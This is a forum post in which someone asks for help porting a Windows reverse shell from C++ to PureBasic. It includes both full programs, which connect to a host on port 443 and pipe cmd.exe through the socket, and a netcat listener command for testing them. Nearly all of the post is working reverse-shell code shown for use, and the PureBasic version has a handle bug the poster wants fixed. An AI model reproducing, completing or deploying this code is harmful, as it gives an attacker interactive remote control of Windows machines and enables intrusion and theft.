I try to convert this code cpp code: @ http://sh3llc0d3r.com/windows-reverse-s ... ellcode-i/
Code: Select all
#include "stdafx.h"
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib, "Ws2_32.lib")
//int _tmain(int argc, _TCHAR* argv[])
int WinMain(
_In_ HINSTANCE hInstance,
_In_ HINSTANCE hPrevInstance,
_In_ LPSTR lpCmdLine,
_In_ int nCmdShow
)
{
WSADATA wsaData;
SOCKET s1;
struct sockaddr_in hax;
char ip_addr[16];
STARTUPINFO sui;
PROCESS_INFORMATION pi;
WSAStartup(MAKEWORD(2, 2), &wsaData);
s1 = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);
hax.sin_family = AF_INET;
hax.sin_port = htons(443);
hax.sin_addr.s_addr = inet_addr("127.0.0.1");
WSAConnect(s1, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);
memset(&sui, 0, sizeof(sui));
sui.cb = sizeof(sui);
sui.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE) s1;
TCHAR commandLine[256] = L"cmd.exe";
CreateProcess(NULL, commandLine, NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
}
Code: Select all
EnableExplicit
Structure in_addr
s_addr.l
EndStructure
Structure SOCKADDR_IN_ Align #PB_Structure_AlignC
sin_family.w
sin_port.w
sin_addr.in_addr
sin_zero.a[8]
EndStructure
Import "WS2_32.LIB"
WSAConnect(SOCKET.i, *sockaddr, namelen.i, *lpCallerData, *lpCalleeData, *lpSQOS, *lpGQOS)
EndImport
#SD_BOTH = 2
#SOCKET_VERSION_2 = 514
#SOCKET_VERSION_1 = $101
;WS2_32.dll
Global Ws2_32_DLL.l
Global inet_addr.l
Prototype W_inet_addr(*IP)
;WS2_32.dll
Procedure ResolveFunc(lDll.l, lpProcName.s)
Define ProfileLen, *ProfileNow, lRet.l
If lDll
ProfileLen = StringByteLength(lpProcName, #PB_Ascii)
If ProfileLen > 2
*ProfileNow = AllocateMemory(ProfileLen + SizeOf(Character))
If *ProfileNow
If PokeS(*ProfileNow, lpProcName, -1, #PB_Ascii) = ProfileLen
lRet = GetProcAddress_(lDll, *ProfileNow)
EndIf
FreeMemory(*ProfileNow)
EndIf
EndIf
ProfileLen = 0
ProcedureReturn lRet
EndIf
EndProcedure
Procedure Ws2_32_Init()
If Ws2_32_DLL = #False
Ws2_32_DLL = LoadLibrary_("Ws2_32.dll")
EndIf
If Ws2_32_DLL <> #False
If inet_addr = #False
inet_addr = ResolveFunc(Ws2_32_DLL, "inet_addr")
EndIf
If inet_addr <> #False
ProcedureReturn #True
Else
ProcedureReturn #False
EndIf
Else
ProcedureReturn #False
EndIf
EndProcedure
Procedure Ws2_inet_addr(*IP)
Define Ws2.W_inet_addr
If inet_addr
Ws2.W_inet_addr = inet_addr
ProcedureReturn Ws2(*IP)
EndIf
EndProcedure
Procedure Go(RemoteIP.s, RemotePort.l)
Define wData.WSADATA, hSocket.l, sVers.w, hConnect.l, eNow.l, *send, Send.SOCKADDR_IN_, *IP, longIp.l, sui.STARTUPINFO, pi.PROCESS_INFORMATION
Define h1.l
If Ws2_32_DLL = #False
If Ws2_32_Init() = #False
ProcedureReturn
EndIf
EndIf
If WSAStartup_(#SOCKET_VERSION_1, @wData) = #S_OK
hSocket = WSASocket_(#AF_INET, #SOCK_STREAM, #IPPROTO_TCP, #Null, 0, 0)
If hSocket <> #INVALID_SOCKET
*IP = AllocateMemory(16)
If *IP And PokeS(*IP, RemoteIP, 14, #PB_Ascii) = 14
longIp = Ws2_inet_addr(*IP)
If longIp <> #INADDR_NONE And longIp <> #INADDR_ANY
Send\sin_family = #AF_INET
Send\sin_addr\s_addr = longIp
Send\sin_port = htons_(RemotePort)
hConnect = WSAConnect(hSocket, @Send, SizeOf(SOCKADDR_IN_), #NUL, #NUL, #NUL, #NUL)
If hConnect = #SOCKET_ERROR
eNow = WSAGetLastError_()
Debug "eNow:" + eNow
If eNow = #WSAECONNREFUSED Or eNow = #WSAENETUNREACH Or eNow = #WSAETIMEDOUT
Sleep_(500)
hConnect = WSAConnect(hSocket, @Send, SizeOf(SOCKADDR), #NUL, #NUL, #NUL, #NUL)
EndIf
EndIf
If hConnect = #S_OK
Debug "hConnect:" + hConnect
ZeroMemory_(@sui, SizeOf(STARTUPINFO))
sui\cb = SizeOf(sui)
sui\dwFlags = #STARTF_USESTDHANDLES | #STARTF_USESHOWWINDOW
sui\hStdInput = @hSocket
sui\hStdOutput = @hSocket
sui\hStdError = @hSocket
Debug "CreateProcess:" + CreateProcess_(#Null, "cmd.exe", #Null, #Null, #True, 0, #Null, #Null, @sui, @pi)
EndIf
EndIf
FreeMemory(*IP)
EndIf
If hConnect = #S_OK
shutdown_(hSocket, #SD_BOTH)
EndIf
closesocket_(hSocket)
EndIf
WSACleanup_()
EndIf
EndProcedure
Go("127.0.0.1", 443)
sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE) s1;
For test it run netcat like this:
nc -l -p 443 -vv
Any help is appreciated, thanks for reading this topic )